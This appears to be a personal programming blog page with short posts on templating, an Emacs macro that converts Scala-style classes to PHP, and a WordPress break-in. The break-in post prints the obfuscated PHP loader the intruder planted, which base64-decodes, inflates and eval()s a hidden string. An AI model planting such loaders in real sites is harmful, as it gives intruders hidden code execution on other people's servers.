samedi 12 janvier 2013

template as [higher-order] functions

Many templating systems are implicit substitution semantic functions, I feel templates should be normal functions with strict and optional parameters, instead of a generic call with (template name, environment map) couple.
That's all. Emacs org-capture style nano post.

ps: the higher-order part, is that we need a way to express the formatted output as context-sensitive by embedding its surrounding as another set of parameters (which would be templating functions)

somebody's writing me -- a wordpress intrusion :1

Somebody somehow gained write access on a Wordpress based blog I'm maintaining, so he left me a gift:

function BSSV($rOPJx)
{ 
$rOPJx=gzinflate(base64_decode($rOPJx));
 for($i=0;$i<strlen($rOPJx);$i++)
 {
$rOPJx[$i] = chr(ord($rOPJx[$i])-1);
 }
 return $rOPJx;
 }eval(BSSV("U1QEAu7CpJKS0sziMs3kpJI0c9OE1LSUgtQ0TdWEELfgcLfgGM/Q0MAEFz/XOC0tG24He25uAA==000"));
?>

Pretty nifty right ? to show gratitude I made him a little ASCII drawing :
http://pastie.org/5673811


mardi 8 janvier 2013

Scala value class-like to php macro


;; '//' SPACE CLASS <NAME> '(' ARGS* ')'
;; class name { private args; function name(args) { $this->args = args } public get_args() { return $this->args; }
(fset 'scala-to-php
   [?\C-k ?\C-y ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-f ?\M-f ?\C-  ?\C-e ?\C-\M-% ?\( ?\\ ?\( ?. ?* ?\\ ?\) ?\) return ?\{ ?\C-q ?\C-j ?\' ?1 backspace backspace ?\\ ?1 ?\C-q ?\C-j ?\} return ?! ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-  ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?^ return ?  ?  ?p ?r ?i ?v ?a ?t ?e ?  ?$ return ?! ?\C-e ?\C-j ?\C-y ?\C-a tab delete delete delete ?\M-d ?f ?u ?n ?c ?t ?i ?o ?n ?\C-e ?  ?\{ ?\} ?\C-a ?\C-s ?\( ?\C-f ?\C-b ?\C-  ?\C-f ?\C-s ?\) ?\C-b ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i ?i backspace backspace backspace backspace ?l ?p ?h ?a ?\" ?\] ?\] backspace backspace backspace ?: ?\] ?\] ?\\ ?+ backspace backspace ?+ ?\\ ?\) ?\C-b ?\C-e return ?$ ?\' ?1 backspace backspace ?\\ ?1 return ?y ?y ?y ?y ?\C-s ?\{ ?\C-f ?\C-b ?\C-j ?\S-\C-o ?\C-y ?\M-y ?\C-a tab ?\C-s ?\( ?\C-  ?\C-a backspace tab ?\C-e backspace ?\C-a tab ?\C-  ?\C-e ?\C-\M-% ?, return ?\; ?\C-q ?\C-j return ?! ?\C-e ?\; ?\C-r ?\{ ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e tab ?\C-  ?\C-s ?\C-r ?\{ ?\C-e ?\C-f ?\C-\M-% ?\\ ?\( ?\[ ?\[ ?: ?a ?s ?c ?i backspace backspace backspace ?l ?p ?h ?a ?: ?\] ?\] ?+ ?\\ ?\) ?\; return ?p backspace ?$ ?t ?h ?i ?s ?- ?> ?$ ?\\ ?1 ?  ?= ?  ?$ backspace ?$ ?\\ ?1 ?\; return ?! ?\C-e ?\C-f tab ?\C-e ?\C-j ?\C-y ?\C-a ?\C-  ?\C-s ?\( ?\C-? ?\C-s ?\C-m ?\C-r ?/ ?/ ?\C-f ?\C-a ?\C-  ?\C-s ?\( ?\C-m backspace ?\C-e backspace ?\C-a ?\C-  ?\C-e ?\C-\M-% ?, return ?\C-q ?\C-j return ?! ?\C-r ?\} ?\C-e ?\C-f ?\C-  ?\C-s ?\} ?\C-p ?\C-e ?\C-\M-% ?6 ?\\ ?\( backspace backspace backspace ?^ ?\' backspace ?\\ ?\( ?. ?* ?\\ ?\) return ?p ?u ?b ?l ?i ?c ?  ?g ?e ?t ?_ ?\\ ?1 ?\( ?\) ?\S-  ?\{ ?  ?$ ?t ?h ?i ?s ?- ?\M-b ?r ?e ?t ?u ?r ?n ?  ?\C-e ?. backspace ?> ?$ ?\\ ?1 ?\; ?  ?\} return ?! ?\C-s ?\} ?\C-m ?\C-  ?\C-r ?c ?l ?a ?s ?s ?\C-m tab])

// class User(name,login,password)



===
class User{
  private $name;
  private $login;
  private $password;
  function User($name,$login,$password) {
    $this->$name = $name;
    $this->$login = $login;
    $this->$password = $password;
  }
  public get_name() { return $this->$name; }
  public get_login() { return $this->$login; }
  public get_password() { return $this->$password; }
}

/tmp/kbd-macro.el (END)


I should write an keybindings expander and a literal reducer to make this bearable </lisp>